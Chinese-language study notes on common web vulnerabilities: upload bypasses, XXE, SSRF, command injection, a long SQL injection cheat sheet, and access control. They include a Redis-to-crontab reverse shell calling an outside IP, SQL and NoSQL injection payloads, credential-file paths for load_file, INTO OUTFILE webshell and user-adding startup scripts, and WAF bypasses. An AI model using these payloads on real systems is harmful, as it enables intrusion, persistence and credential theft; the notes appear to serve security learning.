Web 基础漏洞
文件上传与命令注入
产生原因
- 服务器配置不当
- 开源编辑器上传漏洞
- 本地文件上传限制被绕过
- 过滤不严或被绕过
- 文件解析漏洞导致文件执行
- 文件路径截断
上传检测流程概述
- 客户端 JS 检测
- 服务端 MIME 检测
- 服务端目录路经检测
- 服务器文件拓展名检测
- 服务端文件内容检测
客户端检测绕过(JS检测)
- 智障操作
- 改一下 JS 就 OK
服务端检测绕过(MIME检测)
- 若服务器代码如下,我们可以将request 包的Content-Type 修改
<?php
if($_FILES['userfile']['type'] != "image/gif") { //检测Content-type echo "Sorry, we
only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is
valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
服务器检测绕过(目录路径检测)
- 可以使用0x00截断
服务器检测绕过(文件拓展名检测)
黑名单检测
- 文件名大小写绕过
- 名单列表绕过
- 特殊文件名绕过
- 截断绕过
- htaccess 文件攻击
- 解析调用/漏洞绕过
白名单检测
- 解析调用/漏洞绕过
- 截断绕过
服务器检测绕过(文件内容检测)
- 文件幻数检测(二进制数字头)
- 文件相关信息检测
- 文件加载检测
- 一般是调用API 或函数去进行文件加载测试常见的是图像渲染测试,甚至是进行二次渲染
- 对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器自身
解析攻击
- 直接解析/执行攻击
- 配合解析/执行攻击
文件包含漏洞
- 本地文件包含的作用
- banner/header
- 预处理函数/配置文件
- 缓存
- 提高了代码的重用性,加快了开发速度
XXE
XML
- 所有的 XML 文档都由五种简单的构建模块
- 元素
- 属性
- 实体
- PCDATA
- CDATA
- XML 四种实体类型
- 字符实体
- 命名实体
- 外部实体
- 参数实体
- 内部引入,类似于变量名
- 外部引入
XXE利用方式
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
- 可结合 SSRF,命令执行等
SSRF
SSRF攻击危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
- 利用file协议读取本地文件等
绕过 IP 限制的方法
- 编码
- 利用解析 URL 所出现的问题
- 利用 302 跳转
- 利用各种非 http 协议
防御方法
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
- 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
- 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于 file:/// gopher:// ftp:// 等引起的问题。
反弹 shell 脚本
- 以下只是个示例
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/118.89.20.188/12345 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
命令执行漏洞
-
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
-
分类
- 代码层过滤不严:商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system(“/bin/program –arg $arg”);
- 系统的漏洞造成命令注入bash破壳漏洞(CVE-2014-6271)
- 调用的第三方组件存在代码执行漏洞如
- WordPress中用来处理图片的ImageMagick组件
- JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
- ThinkPHP命令执行
system("$arg"); //直接输入即可
system("/bin/prog $arg"); //直接输入;ls
system("/bin/prog -p $arg"); //直接输入;ls
system("/bin/prog --p=\"$arg\""); //可以输入";ls;"
system("/bin/prog --p='$arg'"); //可以输入';ls;’
SQL 注入
- SQL注入漏洞可能是被人知道最多的漏洞,也是目前被利用的最多的漏洞。SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行。
- 易出现问题的点: SQL注入经常出现在登陆页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。登陆页面主要发生在HTTP头中的client-ip和x-forward-for,这些一般用来记录登陆的ip。
- 注入类型
- Union注入
- 报错注入
- Boolean盲注
- Timing盲注
Union 注入
- 特点
- 有回显,可以看到某些字段的回显结果(通常)
- 猜解出字段数目
- 最方便的注入方式
- Union语句可以填充查询结果,并且额外执行一次查询
- UNION 操作符用于合并两个或多个SELECT 语句的结果集。请注意,UNION 内部的SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT 语句中的列的顺序必须相同。
- SQL UNION 语法:
- SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
- SQL UNION ALL 语法
- SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2
-
另外,UNION 结果集中的列名总是等于UNION 中第一个 SELECT 语句中的列名
- 限制
- 很多攻击场景不是select语句注入,不存在直接回显
- Union关键词经常被过滤
报错注入
- 页面输出SQL报错信息
- 注入效率高
- 利用SQL语句使数据库报错
- 报错信息里包含SQL语句执行结果
常见的报错注入函数
- floor(Mysql): and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
- extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- updatexml(Mysql): and 1=(updatexml(1,concat(0x3a,(select user())),1))
- EXP: Exp(~(select * from (select user())a))
- UTL_INADDR.get_host_address(Oracle):and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1))
- id=2’ and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);#
- id=2’ and extractvalue(1, concat(0x5c, (select @@version limit 1)));#
- id=2’ and 1=(updatexml(1,concat(0x5e24,(select @@version),0x5e24),1))#
Timing盲注
- 页面不存在不同回显,但SQL语句被执行
- 逐个爆破猜解+时间延迟,效率最低
- 利用:if (query=True) delay(1000);else pass;的程序逻辑,通过观察是否发生了时间延迟来推测SQL语句的执行情况是否为 True
- payload:If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行sleep
Boolean盲注
- 在没有数据回显的情况下,可以存在不同的页面内容回显
- 通常逐个爆破猜解,效率偏低
- 思路:利用回显的不同推测SQL语句执行的结果是 True 还是 False
- payload:select * from users where user=’xx’ and pass>’123’#’
SQl导入导出
- load_file()导出文件Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。使用条件:
- 必须有权限读取并且文件必须完全可读
- and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限
- and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 欲读取文件必须小于max_allowed_packet
- 必须有权限读取并且文件必须完全可读
- 在实际的注入中,我们有两个难点需要解决:
- 绝对物理路径
- 构造有效的畸形语句(报错爆出绝对路径)
- 在很多PHP 程序中,当提交一个错误的Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP 程序来说,整个服务器的安全将受到严重的威胁。
- SELECT…..INTO OUTFILE ‘file_name’ 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
二次注入
- 攻击者将恶意SQL语句插入到数据库中,程序对数据库内容毫无防备,直接带入查询。
- 对来自于内部的输入输出过于信任。
宽字节注入
- 当数据库使用了宽字符集(如GBK),会将一些两个字符单做一个字符,如:0xbf27、0xbf5c
- 反斜杠是0x5c,使用addslashes()等转义函数在处理输入时会将’ \ “这些字符用反斜杠转义,输入0xbf27,转以后变成了0xbf5c27,5c被当做了汉字一部分,单引号0x27逃逸出来。
- payload:id=狷’
ACCESS偏移注入
- 能够知道表名,不知道字段名,并且某些位置不能回显
- 借助union select、inner join以及*字符,将未知字段查询出来,并且打乱顺序,从而将所有字段查询出来
- step1:猜字段数
- id=123 union select 1,2,3,4,5,6,7,8 from admin(查询成功)
- id=123 union select 1,2,3,4,* from admin(查询成功)
- step2:inner join查询
- id=123 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id = b.id)
Mongodb注入
- username[$ne]=test&password[$ne]=test
- db.test.find({username:{‘$ne’:’test’}},password:{‘$ne’,’test’});
- 等价于select * from test where username!=’test’ and password!=’test’
- username[$regex]=/^ADMIN/&password[$ne]=a
- db.test.find({username:{‘$regex’:’^a’}},password:{‘$ne’,’test’});
一种隐蔽的注入
- 字符串被MYSQL当成八字节的DOUBEL类型来处理
- 思路就是将查询内容转成数字进行运算
- select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
-
insert into news values (‘3’, ‘xx’ conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);
Mysql过长截断
- 在MySQL没有开启STRICT_ALL_TABLES选项时(MySQLsql_mode默认为defalut),MySQL对插入超长的值只会提示’warning’并且插入成功,而不是error,这样会导致一些截断问题
Create table user(
id tinyint(4) not null,
username varchar(7) not null,
password varchar(20) not null
);
//开启strict_trans_tables后插入过长条目失败,关闭后插入成功
insert into user values(1, 'admin 1', '123');
//插入的username变成了'admin'
带外传输
Some Tips
- 截取字符串相关函数
- left(a,b)从左侧截取a 的前b 位:left(database(),1)>’s’
- substr(a,b,c)从b 位置开始, 截取字符串a 的c 长度
- Ascii() 将某个字符转换为ascii 值:ascii(substr(user),1,1))=101#
- mid(a,b,c)从位置b 开始, 截取a 字符串的 c 位
- regexp正则表达式的用法, user()结果为root, regexp 为匹配 root 的正则表达式:select user() regexp ‘^ro’
- IF语句:select * from users where id=1 and 1=(if((user() regexp ‘^r’),1,0));
- 系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
- 字符串连接函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
- 一般用于尝试的语句
- or 1=1–+ Ps:–+ 可以用#替换,url 提交过程中Url 编码后的 # 为 %23
- ‘or 1=1–+
- “or 1=1–+
- )or 1=1–+
- ‘)or 1=1–+
- ”) or 1=1–+
- ”))or 1=1–+
- Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
- 猜数据库 select schema_name from information_schema.schemata
- 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
- 猜某表的所有列 select column_name from information_schema.columns where table_name=’xxxxx’
- 获取某列的内容 select ** from ***
- MySQL注入load_file常用路径
- c:/boot.ini //查看系统版本
- c:/windows/php.ini //php配置信息
- c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
- c:/winnt/php.ini
- c:/winnt/my.ini
- c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
- /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
- /usr/local/apache2/conf/httpd.conf
- /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- /usr/local/app/php5/lib/php.ini //PHP相关设置
- /etc/sysconfig/iptables //从中得到防火墙规则策略
- /etc/httpd/conf/httpd.conf // apache配置文件
- /etc/rsyncd.conf //同步程序配置文件
- /etc/my.cnf //mysql的配置文件
- 利用数据库对服务器写脚本
- select ‘’ into dumpfile ‘/var/www/html/1.php’
- id=1 union select 1,2,3, “net user cimer cimer /ad” into outfile ‘c\documents and settings\all users\startmenu\programs\startup\add.bat’
- WAF绕过
- 双写关键字
- 应对简单的非迭代的将select、or等关键字替换为空字符串的防御
- payload: seelectlect from; where username=’x’ OorR 1=1
- 大小写绕过
- 应对简单的区分大小写的关键字匹配,比如 php 中 preg_match 函数没有加 /i 参数
- payload: SelecT,Or
- 编码绕过
- ASCII:
- admin可以用CHAR(97)+char(100)+char(109)+char(105)+char(110)代替
- select * from admin where username=(CHAR(97)+char(100)+char(109)+char(105)+char(110))
- 16进制:extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)
- unicode编码:单引号 ==> %u0027; %u02b9; %u02bc; %u02c8; %u2032; %uff07
- URL编码:or 1=1 ==> %6f%72%20%31%3d%31
- ASCII:
- 变换姿势绕过
-
Or ==> ; and ==> && - 空格被限制:select(username)from(admin)
- 科学计数法绕过:where username=1e1 union select
- = < > 被限制:where id in (1,2); where id between 1 and 3; like
- access 中使用 dlookup 绕过select from 被限制:(user=12’,info=dlookup(‘[user]’,’userinfo’,’[id]=1’)%00)
-
- 使用特殊字符
- 空格被限制:/**/; %a0; %0a; %0d; %09; tab….
- 内联注释:select 1 from /!admin/ /!union/ select 2,
- MYSQL对%00不会截断:se%00lect
- 单一%号,在asp+iis中会被忽略:sel%ect
- ``mysql反引号之间的会被当做注释内容
- 双写关键字
认证与授权
认证
- 单因素认证与多因素认证
- 密码强度:
-
OWASP推荐:6 8,多种组合
-
- 密码加密存储在数据库(哈希)
- Session与Cookie
- sessionID标识身份,在会话生命周期内失窃等于账户失窃
- 常见保存于Cookie中
- Cookie劫持:嗅探、本地文件窃取、XSS攻击
授权
- 用户有限制的访问资源,就是访问控制
- 基于URL的访问控制
- 基于方法的访问控制
- 基于数据的访问控制
越权
- 水平越权
- 水平权限攻击,也叫作访问控制攻击。Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或者在判断数据所属人时从用户提交的表单参数中获取了userid。导致攻击者可以自行修改userid修改不属于自己的数据。所有的更新语句操作,都可能产生这个漏洞。
- 垂直越权
- 垂直权限攻击又叫做权限提升攻击。其原理是由于Web应用没有做权限控制,或仅仅在菜单上做了权限控制,导致恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。